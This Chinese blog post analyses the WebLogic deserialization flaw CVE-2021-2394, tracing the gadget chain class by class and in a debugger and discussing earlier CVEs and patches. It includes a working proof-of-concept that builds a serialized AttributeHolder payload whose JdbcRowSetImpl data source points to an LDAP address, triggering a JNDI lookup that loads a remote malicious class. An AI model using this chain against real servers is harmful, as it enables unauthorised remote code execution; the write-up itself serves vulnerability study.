Weblogic反序列化漏洞分析之CVE-2021-2394

目录

简介

前置知识

Serializable示例

Externalizable示例

联系weblogic

ExternalizableLite接口

ExternalizableHelperl类

JdbcRowSetImpl类

MethodAttributeAccessor类

AbstractExtractor类

FilterExtractor类

TopNAggregator$PartialResult类

SortedBag$WrapperComparator类

TreeMap类

AttributeHolder类

gadget测试

gadget分析

了解CVE-2021-2394的前世今生

1.为什么使用Externalizable进行反序列化?

2.为什么说这个漏洞其实是CVE-2020-14841与cve-2020-14756的结合体?

CVE-2021-2394的后续修复


本次应该是java最复杂的反序列化链了.......

简介

Oracle官方发布了2021年7月份安全更新通告,通告中披露了WebLogic组件存在高危漏洞,攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。

剧透一下:这是一个二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表。

前置知识

GPT回答

在 Java 中,如果一个类实现了 Serializable 接口,那么它可以被序列化和反序列化。Serializable 接口是一个标记接口,没有任何方法需要实现。通过将类标记为 Serializable,您告诉 Java 运行时环境,该类的对象可以以字节流的形式进行序列化和反序列化。

当一个类实现了 Serializable 接口时,它表示该类的对象可以被转换成字节序列,并且可以在网络上传输或者存储到文件中,而不会丢失其状态和数据。这在分布式系统、持久化存储和远程通信等场景中非常有用。

当您将一个对象序列化时,Java 运行时环境将对象的状态转换为字节流。然后,您可以将字节流保存到文件中或通过网络传输。当您想要恢复对象时,可以通过反序列化操作将字节流转换回对象的状态。

在webweblogic中,如果一个类要想序列化和反序列化 它可以implements 这两个接口

区 别 Serializable Externalizable
实现复杂度 实现简单,Java对其有内建支持 实现复杂,由开发人员自己完成
执行效率 所有对象由Java统一保存,性能较低 开发人员决定哪个对象保存,可能造成速度提升
保存信息 保存时占用空间大 部分存储,可能造成空间减少
Serializable示例

假设您有一个名为 Person 的 Java 类,它实现了 Serializable 接口,如下所示:

​
import java.io.*;
​
public class Person2 implements Serializable {
​
    private String name;
    private int age;
​
    public Person2(String name, int age) {
        this.name = name;
        this.age = age;
    }
​
    // 其他方法和属性省略
​
    public static void main(String[] args) throws ClassNotFoundException {
        Person2 person = new Person2("Alice", 25);
​
        try {
            // 将 Person 对象序列化到文件中
            FileOutputStream fos = new FileOutputStream("person.ser");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(person);
            oos.close();
​
            // 从文件中反序列化出一个新的 Person 对象
            FileInputStream fis = new FileInputStream("person.ser");
            ObjectInputStream ois = new ObjectInputStream(fis);
            Person2 deserializedPerson = (Person2) ois.readObject();
            ois.close();
​
            // 打印结果
            System.out.println("Original Person: " + person);
            System.out.println("Deserialized Person: " + deserializedPerson);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

输出结果

Original Person: test5.Person2@1a4013 Deserialized Person: test5.Person2@6cd28fa7

Externalizable示例

以下是一个完整的示例,包括 Person 类的实现以及一个测试主函数:

import com.tangosol.io.ExternalizableLite;
import com.tangosol.io.pof.PofReader;
import com.tangosol.io.pof.PofWriter;
​
import java.io.DataInput;
import java.io.DataOutput;
import java.io.IOException;
​
public class Person implements ExternalizableLite {
​
    private String name;
    private int age;
​
    public Person() {
        // 必须提供默认构造函数
    }
​
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }
​
    // 实现接口方法 - 从流中读取对象数据
    @Override
    public void readExternal(DataInput in) throws IOException {
        // 读取 name 和 age 的值
        name = in.readUTF();
        age = in.readInt();
    }
​
    // 实现接口方法 - 将对象数据写入流中
    @Override
    public void writeExternal(DataOutput out) throws IOException {
        // 写入 name 和 age 的值
        out.writeUTF(name);
        out.writeInt(age);
    }
​
    // 其他方法和属性省略
​
    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
​
    public static void main(String[] args) {
        // 创建一个 Person 对象
        Person person1 = new Person("Alice", 25);
​
        try {
            // 将 Person 对象序列化到文件中
            FileOutputStream fos = new FileOutputStream("person.dat");
            DataOutputStream dos = new DataOutputStream(fos);
            person1.writeExternal(dos);
            dos.close();
​
            // 从文件中反序列化出一个新的 Person 对象
            FileInputStream fis = new FileInputStream("person.dat");
            DataInputStream dis = new DataInputStream(fis);
            Person person2 = new Person();
            person2.readExternal(dis);
            dis.close();
​
            // 打印结果
            System.out.println("Original Person: " + person1);
            System.out.println("Deserialized Person: " + person2);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

运行结果

Original Person: Person{name='Alice', age=25} Deserialized Person: Person{name='Alice', age=25}

联系weblogic
ExternalizableLite接口

在weblogic中ExternalizableLite接口位于package com.tangosol.io;

package com.tangosol.io;
public interface ExternalizableLite extends Serializable {
    void readExternal(DataInput var1) throws IOException;
    void writeExternal(DataOutput var1) throws IOException;
}

ExternalizableLite继承了java.io.Serializable, 另外声明了 readExternalwriteExternal 这两个方法。

ExternalizableHelperl类

现在引入一个类ExternalizableHelper (抽象类)

package com.tangosol.util;
public abstract class ExternalizableHelper extends BitHelper {
...
    public static  T readObject(DataInput in) throws IOException {
        return readObject(in, (ClassLoader)null);
    }
​
    public static  T readObject(DataInput in, ClassLoader loader) throws IOException {
        if (in instanceof PofInputStream) {
            return ((PofInputStream)in).readObject();
        } else {
            Object o = readObjectInternal(in, in.readUnsignedByte(), loader);
            return realize(o, ensureSerializer(loader));
        }
    }
...
​
}

可以看出这个类重写了readObject 方法,是一个静态方法,传入的是DataInput -----是要从流中读取对象数据返回Object吗?

它去调用readObjectInternal 追进去

private static Object readObjectInternal(DataInput in, int nType, ClassLoader loader) throws IOException {
    switch(nType) {
    case 0:
        return null;
    case 1:
        return readInt(in);
    case 2:
        return readLong(in);
    case 3:
        return new Double(in.readDouble());
    case 4:
        return readBigInteger(in);
    case 5:
        return readBigDecimal(in);
    case 6:
        return readUTF(in);
    case 7:
        Binary bin = new Binary();
        bin.readExternal(in);
        return bin;
    case 8:
        return readByteArray(in);
    case 9:
        return readXmlSerializable(in, loader);
    case 10:
        return readExternalizableLite(in, loader);//就是这个方法
    case 11:
        return readSerializable(in, loader);
    case 12:
        return readXmlBean(in, loader);
    case 14:
        return new Float(in.readFloat());
    case 15:
        return new Short(in.readShort());
    case 16:
        return new Byte(in.readByte());
    case 17:
        return in.readBoolean() ? Boolean.TRUE : Boolean.FALSE;
    case 22:
        return in.readBoolean() ? Optional.of(readObject(in)) : Optional.empty();
    case 23:
        return in.readBoolean() ? OptionalInt.of(readInt(in)) : OptionalInt.empty();
    case 24:
        return in.readBoolean() ? OptionalLong.of(readLong(in)) : OptionalLong.empty();
    case 25:
        return in.readBoolean() ? OptionalDouble.of(in.readDouble()) : OptionalDouble.empty();
    case 255:
        return readSerializable(in, loader);
    default:
        throw new StreamCorruptedException("invalid type: " + nType);
    }
}

这里要说一下 nType大致是还原的类型,对于case语句来说 会根据要还原类的类型,选择对应的方法进行解析

而实现了com.tangosol.io.ExternalizableLite 接口的对象则会进入readExternalizableLite 方法:

public static ExternalizableLite readExternalizableLite(DataInput in, ClassLoader loader) throws IOException {
    ExternalizableLite value;
    if (in instanceof PofInputStream) {
        value = (ExternalizableLite)((PofInputStream)in).readObject();
    } else {
        String sClass = readUTF((DataInput)in);
        WrapperDataInputStream inWrapper = in instanceof WrapperDataInputStream ? (WrapperDataInputStream)in : null;
​
        try {
            value = (ExternalizableLite)loadClass(sClass, loader, inWrapper == null ? null : inWrapper.getClassLoader()).newInstance();//重点分析
        } catch (InstantiationException var6) {
            throw new IOException("Unable to instantiate an instance of class '" + sClass + "'; this is most likely due to a missing public no-args constructor: " + var6 + "\n" + getStackTrace(var6) + "\nClass: " + sClass + "\nClassLoader: " + loader + "\nContextClassLoader: " + getContextClassLoader());
        } catch (Exception var7) {
            throw new IOException("Class initialization failed: " + var7 + "\n" + getStackTrace(var7) + "\nClass: " + sClass + "\nClassLoader: " + loader + "\nContextClassLoader: " + getContextClassLoader());
        }
​
        if (loader != null) {
            if (inWrapper == null) {
                in = new WrapperDataInputStream((DataInput)in, loader);
            } else if (loader != inWrapper.getClassLoader()) {
                inWrapper.setClassLoader(loader);
            }
        }
​
        value.readExternal((DataInput)in);//重点分析
        if (value instanceof SerializerAware) {
            ((SerializerAware)value).setContextSerializer(ensureSerializer(loader));
        }
    }
​
    return value;
}

readExternalizableLite 方法中,会根据类名加载类,然后并且实例化出这个类的对象,然后调用它的 readExternal() 方法

至此这段代码的逻辑是非常像Externalizable示例代码的

        // 从文件中反序列化出一个新的 Person 对象
        FileInputStream fis = new FileInputStream("person.dat");
        DataInputStream dis = new DataInputStream(fis);
        Person person2 = new Person();
        person2.readExternal(dis);
        dis.close();

小总结 继承Externalizable接口的对象且是实现了readExternal方法的 可以用ExternalizableHelper 中的静态方法readObject 实现反序列化的逻辑

大致这个样子

    FileInputStream fis = new FileInputStream("person.dat");
    DataInputStream dis = new DataInputStream(fis);
    Person person2 = null;
    //无需new 因为底层ExternalizableLite 会根据类反射 实例化对象
    person2 = ExternalizableHelper.readObject ()  

测试代码

package test4;

import com.tangosol.io.ExternalizableLite;

import com.tangosol.util.ExternalizableHelper;

import java.io.*;

public class Person implements ExternalizableLite {

    private String name;
    private int age;

    public Person() {
        // 必须提供默认构造函数
    }

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    // 实现接口方法 - 从流中读取对象数据
    @Override
    public void readExternal(DataInput in) throws IOException {
        // 读取 name 和 age 的值
        name = in.readUTF();
        age = in.readInt();
    }

    // 实现接口方法 - 将对象数据写入流中
    @Override
    public void writeExternal(DataOutput out) throws IOException {
        // 写入 name 和 age 的值
        out.writeUTF(name);
        out.writeInt(age);
    }

    // 其他方法和属性省略

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }

    public static void main(String[] args) {
        // 创建一个 Person 对象
        Person person1 = new Person("Alice", 25);

        try {
            // 将 Person 对象序列化到文件中
            FileOutputStream fos = new FileOutputStream("person.dat");
            DataOutputStream dos = new DataOutputStream(fos);
            ExternalizableHelper.writeObject(dos,person1);


            FileInputStream fis = new FileInputStream("person.dat");
            DataInputStream dis = new DataInputStream(fis);
            Person person2 = ExternalizableHelper.readObject(dis);

            // 打印结果
            System.out.println("Original Person: " + person1);
            System.out.println("Deserialized Person: " + person2);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

测试输出

Original Person: Person{name='Alice', age=25} Deserialized Person: Person{name='Alice', age=25}

正常调用链分析在xlsx文中.......

JdbcRowSetImpl类
public class JdbcRowSetImpl extends BaseRowSet implements JdbcRowSet, Joinable {
    private Connection conn;
    private PreparedStatement ps;
    private ResultSet rs;
    private RowSetMetaDataImpl rowsMD;
    private ResultSetMetaData resMD;
    private Vector iMatchColumns;
    private Vector strMatchColumns;
    protected transient JdbcRowSetResourceBundle resBundle;
    static final long serialVersionUID = -3591946023893483003L;
...
    public DatabaseMetaData getDatabaseMetaData() throws SQLException {
        Connection var1 = this.connect();
        return var1.getMetaData();
    }
...

getDatabaseMetaData方法会调用this.connect

private Connection connect() throws SQLException {
    if (this.conn != null) {
        return this.conn;
    } else if (this.getDataSourceName() != null) {
        try {
            InitialContext var1 = new InitialContext();
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());//重点分析
            return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
        } catch (NamingException var3) {
            throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
        }
    } else {
        return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
    }
}

this.connect则调用了InitialContext#lookup,如果this.getDataSourceName()为恶意uri,则可以产生JNDI注入

MethodAttributeAccessor类
public class MethodAttributeAccessor extends AttributeAccessor {
    protected String setMethodName = "";
    protected String getMethodName;
    protected transient Method setMethod;
    protected transient Method getMethod;
...
public Object getAttributeValueFromObject(Object anObject) throws DescriptorException {
    return this.getAttributeValueFromObject(anObject, (Object[])null);
}

protected Object getAttributeValueFromObject(Object anObject, Object[] parameters) throws DescriptorException {
    try {
        if (PrivilegedAccessHelper.shouldUsePrivilegedAccess()) {
            try {
                return AccessController.doPrivileged(new PrivilegedMethodInvoker(this.getGetMethod(), anObject, parameters));
            } catch (PrivilegedActionException var5) {
                Exception throwableException = var5.getException();
                if (throwableException instanceof IllegalAccessException) {
                    throw DescriptorException.illegalAccessWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), throwableException);
                } else {
                    throw DescriptorException.targetInvocationWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), throwableException);
                }
            }
        } else {
            return this.getMethod.invoke(anObject, parameters);//重点分析
        }
    } catch (IllegalArgumentException var6) {
        throw DescriptorException.illegalArgumentWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), var6);
    } catch (IllegalAccessException var7) {
        throw DescriptorException.illegalAccessWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), var7);
    } catch (InvocationTargetException var8) {
        throw DescriptorException.targetInvocationWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), var8);
    } catch (NullPointerException var9) {
        throw DescriptorException.nullPointerWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), var9);
    }
}
...
  protected void setGetMethod(Method getMethod) {
        this.getMethod = getMethod;
    }
}

getAttributeValueFromObject方法中,可以调用invoke来执行任意方法,前提是三个参数可控getMethod、anObject、parameters。其中protected可以通过反射无视,getMethod 可以通过调用setGetMethod 设置

AbstractExtractor类
public abstract class AbstractExtractor extends ExternalizableHelper implements ValueExtractor, QueryMapComparator, Serializable {
    public static final int VALUE = 0;
    public static final int KEY = 1;
    protected int m_nTarget;
...
    public E extract(T oTarget) {
        if (oTarget == null) {
            return null;
        } else {
            throw new UnsupportedOperationException();
        }
    }
...
    public int compare(Object o1, Object o2) {
        return SafeComparator.compareSafe((Comparator)null, this.extract(o1), this.extract(o2));
    }
...
    public abstract Object getAttributeValueFromObject(Object var1) throws DescriptorException;//抽象方法
...
}

此类的compare方法会调用this.extract

FilterExtractor类
public class FilterExtractor extends AbstractExtractor implements ExternalizableLite, PortableObject, EclipseLinkExtractor {
    //它实现了ExternalizableLite接口,并且父类是AbstractExtractor
    protected static final Class reflectionExtractor = ReflectionExtractor.class;
    protected AttributeAccessor attributeAccessor;//AttributeAccessor对象属性
...
    public Object extract(Object obj) {
        if (obj instanceof Wrapper) {
            obj = ((Wrapper)obj).unwrap();
        }

        if (!this.attributeAccessor.isInitialized()) {
            this.attributeAccessor.initializeAttributes(obj.getClass());
        }

        try {
            return this.attributeAccessor.getAttributeValueFromObject(obj);//重点分析 
            //调用了attributeAccessor(实现了抽象方法getAttributeValueFromObject)
        } catch (Exception var3) {
            return new FilterExtractor.InvalidObject();
        }
    }
...
    //因为implements ExternalizableLite 所以实现了这两个方法
    public void readExternal(DataInput in) throws IOException {
        this.attributeAccessor = SerializationHelper.readAttributeAccessor(in);
    	//这里调用了SerializationHelper的readAttributeAccessor方法
    	//下面补充readAttributeAccessor方法 可以发现调用了ExternalizableHelper.readObject(in)--如此可以序列化
    /*
        public static AttributeAccessor readAttributeAccessor(DataInput in) throws IOException {
        int id = ExternalizableHelper.readInt(in);
        if (id == 0) {
            InstanceVariableAttributeAccessorExtended accessor = new InstanceVariableAttributeAccessorExtended();
            accessor.setAttributeName((String)ExternalizableHelper.readObject(in));
            return accessor;
        } else if (id == 1) {
            MethodAttributeAccessor accessor = new MethodAttributeAccessor();//重点分析
            //new了一个MethodAttributeAccessor对象 剧透一下 这里是绕过补丁的关键
            //前面说了MethodAttributeAccessor有任意函数反射调用的可能
            accessor.setAttributeName((String)ExternalizableHelper.readObject(in));
            accessor.setGetMethodName((String)ExternalizableHelper.readObject(in));
            accessor.setSetMethodName((String)ExternalizableHelper.readObject(in));
            return accessor;
        } else {
            return null;
        }
    }*/
    }

    public void writeExternal(DataOutput out) throws IOException {
        SerializationHelper.writeAttributeAccessor(out, this.attributeAccessor);
    }
...
}
TopNAggregator$PartialResult类
SortedBag$WrapperComparator类
package com.tangosol.util.aggregator;
public class TopNAggregator implements StreamingAggregator, E[]>, ExternalizableLite, PortableObject {
    protected boolean m_fParallel;
    protected ValueExtractor m_extractor;
    protected Comparator m_comparator;
    protected int m_cResults;
    private transient boolean m_fInit;
    private transient TopNAggregator.PartialResult m_result;
...
    //这个类 implements 了ExternalizableLite接口,也是实现了readExternal相关方法
    public void readExternal(DataInput in) throws IOException {
        this.m_fParallel = in.readBoolean();
        this.m_extractor = (ValueExtractor)ExternalizableHelper.readObject(in);
        this.m_comparator = (Comparator)ExternalizableHelper.readObject(in);
        this.m_cResults = in.readInt();
    }
    TopNAggregator$PartialResult是一个静态内部类,也实现了ExternalizableLite接口,里面有个readExternal方法
    public static class PartialResult extends SortedBag implements ExternalizableLite, PortableObject {
        protected int m_cMaxSize;
    ...
        public boolean add(E value) { //add方法看到调用了父类的add
            if (this.size() < this.m_cMaxSize) {
                return super.add(value);
            } else if (this.m_comparator.compare(value, this.first()) > 0) {
                this.removeFirst();
                super.add(value);
                return true;
            } else {
                return false;
            }
        }
        /*进其父类SortedBag类的add
    	public boolean add(E o) {
        NavigableMap map = this.getInternalMap();
                   /*protected NavigableMap getInternalMap() {//getInternalMap方法是实现
                        return this.m_map;
                    }*/
        while(!Base.equals(o, this.unwrap(map.ceilingKey(o)))) {
            if (map.put(o, NO_VALUE) == null) {
                return true;
            }//在父类add方法中,调用了map.put,而这里的map就是上面的TreeMap对象
        }
        */
    ...
        public void readExternal(DataInput in) throws IOException {
            this.m_comparator = (Comparator)ExternalizableHelper.readObject(in);
        	//遍历还原了m_comparator
            this.m_cMaxSize = ExternalizableHelper.readInt(in);
            this.m_map = this.instantiateInternalMap(this.m_comparator);
        	/*调用了instantiateInternalMap方法并且传入了还原的m_comparator,跟进instantiateInternalMap
        	...
        	最终的把TreeMap对象赋值给了this.m_map  m_map是父类SortedBag中属性
        	*/
            int cElems = in.readInt();

            for(int i = 0; i < cElems; ++i) {
                this.add(ExternalizableHelper.readObject(in));
            }

        }
    ...
    protected NavigableMap instantiateInternalMap(Comparator comparator) {
        return new TreeMap(new SortedBag.WrapperComparator(comparator));
        //这里首先new了一个SortedBag.WrapperComparator,传入comparator,跟进WrapperComparator  
        //之后把new出来的SortedBag.WrapperComparator对象传入了TreeMap构造方法,跟进TreeMap构造方法
        /*
public class TreeMap
    extends AbstractMap
    implements NavigableMap, Cloneable, java.io.Serializable
{
	private final Comparator comparator;
	...
    public TreeMap(Comparator comparator) {
        this.comparator = comparator;
    }
    ...
}
//在TreeMap构造方法只是对comparator的一个赋值,把刚刚的SortedBag.WrapperComparator对象传递给了this.comparator
        */

        
    }
    protected class WrapperComparator implements Comparator {
        protected final Comparator f_comparator;//内部类属性

        public WrapperComparator(Comparator comparator) {
             this.f_comparator = comparator;//可以看到把comparator的值赋予给了this.f_comparator
           }
        public int compare(Object o1, Object o2) {//可被TreeMap类compare调用
            if (o1 instanceof SortedBag.UniqueElement) {
                return ((SortedBag.UniqueElement)o1).compareTo(o2);
            } else {
                return o2 instanceof SortedBag.UniqueElement ? -((SortedBag.UniqueElement)o2).compareTo(o1) : this.f_comparator.compare(o1, o2);
       //此类的compare方法会调用this.f_comparator.compare
            }
        }
	  ...
      }

...
TreeMap类
public class TreeMap
    extends AbstractMap
    implements NavigableMap, Cloneable, java.io.Serializable
{
    private final Comparator comparator;
...
    public V put(K key, V value) {
        Entry t = root;
        if (t == null) {
            compare(key, key); // type (and possibly null) check

            root = new Entry<>(key, value, null);
            size = 1;
            modCount++;
            return null;
        }
 		...
    }
    ...
    final int compare(Object k1, Object k2) {
        return comparator==null ? ((Comparable)k1).compareTo((K)k2)
            : comparator.compare((K)k1, (K)k2);
    }
    ...
...
}

TreeMap类中,其put方法会调用compare

compare中调用了comparator.compare,此处的comparator是在上个内部类中赋予的值SortedBag.WrapperComparator类(里面有一个Comparator f_comparator属性)

AttributeHolder类
package com.tangosol.coherence.servlet;
public class AttributeHolder extends Base implements Externalizable {
    ...
    public void readExternal(DataInput in) throws IOException {
        this.m_sName = ExternalizableHelper.readUTF(in);
        this.m_oValue = ExternalizableHelper.readObject(in);//调用ExternalizableHelper.readObject实现反序列化读取数据
        this.m_fActivationListener = in.readBoolean();
        this.m_fBindingListener = in.readBoolean();
        this.m_fLocal = in.readBoolean();
    }
    ...
    public void readExternal(ObjectInput in) throws IOException {
        this.readExternal((DataInput)in);
    }
    ...
}

gadget测试

import com.sun.rowset.JdbcRowSetImpl;
import com.supeream.serial.Serializables;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.SortedBag;
import com.tangosol.util.aggregator.TopNAggregator;
import oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor;
import org.eclipse.persistence.exceptions.DescriptorException;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import org.eclipse.persistence.mappings.AttributeAccessor;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class test {
    public static void main(String[] args) throws Exception {
        String ldapurl="ldap://192.168.202.1:1389/2rp7lc";

        MethodAttributeAccessor accessor = new MethodAttributeAccessor();
        accessor.setAttributeName("yangyang");
        accessor.setGetMethodName("connect");
        accessor.setSetMethodName("setConnection");

        Constructor DeclaredConstructor = JdbcRowSetImpl.class.getDeclaredConstructor();
        DeclaredConstructor.setAccessible(true);
        JdbcRowSetImpl jdbcRowSet = DeclaredConstructor.newInstance();

        jdbcRowSet.setDataSourceName(ldapurl);

        FilterExtractor extractor = new FilterExtractor(accessor);
        FilterExtractor extractor1 = new FilterExtractor(new TLSAttributeAccessor());

        SortedBag sortedBag = new TopNAggregator.PartialResult(extractor1, 2);
        sortedBag.add(jdbcRowSet);

        Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(sortedBag, extractor);

        AttributeHolder attributeHolder = new AttributeHolder();

        Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
        setInternalValue.setAccessible(true);
        setInternalValue.invoke(attributeHolder, sortedBag);

        //serial
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
        objectOutputStream.writeObject(attributeHolder);
        objectOutputStream.close();

        //unserial
        ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
        objectIntputStream.readObject();
        objectIntputStream.close();
    }
    public static class TLSAttributeAccessor extends AttributeAccessor {

        public Object getAttributeValueFromObject(Object o) throws DescriptorException {
            return this.attributeName;
        }

        public void setAttributeValueInObject(Object o, Object o1) throws DescriptorException {
            this.attributeName = "yangyang";
        }
    }
}

Weblogic反序列化漏洞分析之CVE-2021-2394_第1张图片

ldap成功收到请求这表明已经通过反序列的方式将ladpurl打入lookup方法中

参考weblogic漏洞分析之CVE-2021-2394 - Atomovo - 博客园 (cnblogs.com)

gadget分析

【技术分享】Weblogic CVE-2021-2394 反序列化漏洞分析 (qq.com)

在readobject上打上断点

Weblogic反序列化漏洞分析之CVE-2021-2394_第2张图片

进入objectinputstream类

Weblogic反序列化漏洞分析之CVE-2021-2394_第3张图片

继续跟进

Weblogic反序列化漏洞分析之CVE-2021-2394_第4张图片

在readobject0方法中调用了checkResolve方法

继续跟进readOrdinaryObject

Weblogic反序列化漏洞分析之CVE-2021-2394_第5张图片

在这个方法中 读取输入流的类 ,并实例化。这个类就是attributeHolder了

Weblogic反序列化漏洞分析之CVE-2021-2394_第6张图片

检查目标类 是否Externalizable 若是进入if条件中,调用readExternalData方法

在readExternalData方法,调用了对象的readExternal方法,这正是我们所分析的入口了

Weblogic反序列化漏洞分析之CVE-2021-2394_第7张图片

进入AttributeHolder类的readExternal

Weblogic反序列化漏洞分析之CVE-2021-2394_第8张图片

继续跟进 来到ExternalizableHelper的readobject方法 ,参数任然是我们的输入流

Weblogic反序列化漏洞分析之CVE-2021-2394_第9张图片

跟进 ,如下的调试就是Externalizable 反序列化的标准流程

Weblogic反序列化漏洞分析之CVE-2021-2394_第10张图片

implements ExternalizableLite 的类 in.readUnsignedByte读取的值为10

Weblogic反序列化漏洞分析之CVE-2021-2394_第11张图片

nRype为10 进入readExternalizableLite方法

Weblogic反序列化漏洞分析之CVE-2021-2394_第12张图片

这个方法中 会载入输入流的类 并对其实例化

随后 调用实例化对象的readExternal方法。 Externalizable 反序列化的标准流程。为了之后的调试的简略 这里省略readExternal的流程

顺便一说 实例化的value是TopNAggregator的内部类PartialResult对象

进入TopNAggregator类对象的readExternal 方法

Weblogic反序列化漏洞分析之CVE-2021-2394_第13张图片

这个类的方法就很关键了,一共有3次调用链。

先分析第一次调用链170行

这里就省略了 相关helper方法 因为之前已经调过了 在此跳过。这里value是FiterExtractor对象

Weblogic反序列化漏洞分析之CVE-2021-2394_第14张图片

对FiterExtractor对象的成员属性attributeAccessor进行还原

这里 new 一个 MethodAttributeAccessor 对象 还原相关成员属性 string类型,返回。可以见的FiterExtractor对象的成员属性attributeAccessor存的是一个MethodAttributeAccessor对象 名字为accessor 里面的有我们可控的参数。

Weblogic反序列化漏洞分析之CVE-2021-2394_第15张图片

这条就走完了,可以看到TopNAggregator类对象的m_comparetor成员存储的是FiterExtractor对象 其内部成员属性attributeAccessor对象之中的MethodAttributeAccessor对象中的成员属性getMethodName,attributeName(父类继承下的),都是我们可控的变量

再分析第二次调用链172行

SortedBag类为TopNAggregator的父类,这个方法instantiateInternalMap没有被重写,因此跳到父类的instantiateInternalMap方法。

我们传的参数是上一条链所获得的m_comparetor成员, 继续跟进去看看它会调用那些方法!

Treemap构造方法是给成员属性赋值的

Weblogic反序列化漏洞分析之CVE-2021-2394_第16张图片

看一看是如何构造comparetor的,它把之前得到的成员m_comparetor(FiterExtractor对象)传参进去了

可以见的Treemap的成员属性comparator存的WrapperComparator对象,它之中的f_comparator成员属性就是之前得到的FiterExtractor对象, 别忘了 FiterExtractor对象之中有我们可控的属性。

最终赋值成员变量m_map,请注意这个成员 待会非常的关键。

最后第三次调用链176行

注意:这次输入流读取的类是JdbcRowSetImpl

先调用本类的add方法

Weblogic反序列化漏洞分析之CVE-2021-2394_第17张图片

在调用父类add方法,这里将进入map.put方法,

Weblogic反序列化漏洞分析之CVE-2021-2394_第18张图片

在此之前 先分析下它所得到的map对象

en.... 这个map对象就是之前我们所得到的m_map对象(本质是Treemap 里面包裹了我们可控的类属性)

Weblogic反序列化漏洞分析之CVE-2021-2394_第19张图片

看一看put中又调用了那些方法,这个key是函数调用依次传下来的 为JdbcRowSetImpl对象

Weblogic反序列化漏洞分析之CVE-2021-2394_第20张图片

跟进compare对象

Treemap类中的comparator是我们之前new Treemap 构造方法赋的值 ,为WrapperComparator 对象,它有一个成员属性f_comparator ,我们已经赋值FiterExtractor对象。

进入WrapperComparator 的compare方法

Weblogic反序列化漏洞分析之CVE-2021-2394_第21张图片

在221行它调用了成员f_comparator的compare方法,别忘了f_comparator 就是为FiterExtractor对象

进入FilterExtractor 对象的compare方法,注:FilterExtractor extends AbstractExtractor

进入this.extract,由于这个方法被子类FilterExtractor 类继承重写了,因此 它会调到子类的extract方法

Weblogic反序列化漏洞分析之CVE-2021-2394_第22张图片

filterExtrator 为返序列化得来的其成员属性attributeAccessor为我们可控变量,我们让他为MethodAttributeAccessor对象

由此进入MethodAttributeAccessor对象的getAttributeValueFromObject方法

跟进调用,注意传参为JdbcRowSetImpl对象

注意了 MethodAttributeAccessor对象中的getMethod是一个Method对象,其标识符为transient不可被序列化,但是得益于它内部的处理逻辑,他会依据成员属性string类型GetMethodName 调用reflectionFactory实例化一个Method对象。

这里我们给GetMethodName 设置的值为connect ,getMethod为java.sql.Connection

Weblogic反序列化漏洞分析之CVE-2021-2394_第23张图片

根据反射机制我们来到JdbcRowSetImpl对象的connect方法

Weblogic反序列化漏洞分析之CVE-2021-2394_第24张图片

其中datasourcename 就是我们的可控参数 ldapurl

调用lookup触发 JNDI 注入 远程加载恶意类 弹出计算机

Weblogic反序列化漏洞分析之CVE-2021-2394_第25张图片

更多调用链在xlsx文中.......

了解CVE-2021-2394的前世今生

1.为什么使用Externalizable进行反序列化?

因为在weblogic中某些类继承自Externalizable接口,在反序列化的时候默认会调用readExternal方法。在该方法中没有使用weblogic提供的带有黑名单过滤功能的FilterInputStream去还原类。而是使用了没有黑名单过滤的ObjectInputStream去还原对象。造成黑名单根本就没用上,例如CVE-2020-2551 就是这种情况。

通过上面的的入口调试我们确实发现没有FilterInputStream类的出现

2.为什么说这个漏洞其实是CVE-2020-14841与cve-2020-14756的结合体?

在cve-2020-14841中最为关键的两个类目前已经加入黑名单套餐(LockVersionExtractor类)(MethodAttributeAccessor类)

其中LockVersionExtractor可以使用FilterExtractor代替。对比源码验验货

首先:TopNAggregator类对象的父类m_comparetor成员(数据类型Comparator)存储的是FiterExtractor对象 之后在进入WrapperComparator 的compare方法时调用(可以是父类)compare方法再调用自己的extract方法

Weblogic反序列化漏洞分析之CVE-2021-2394_第26张图片

----FilterExtractor extends AbstractExtractor 而 AbstractExtractor 实现了Comparator接口

Weblogic反序列化漏洞分析之CVE-2021-2394_第27张图片

那么对比一下LockVersionExtractor类,

这里就不分析其他调用链是什么调用到LockVersionExtractor中extract方法,给一个调用链参考

CVE-2020-14825的调用链如下:

Weblogic反序列化漏洞分析之CVE-2021-2394_第28张图片

分析完这两个类的入 在分析这两个类的出

FilterExtractor类如下

它是由extract调用而来

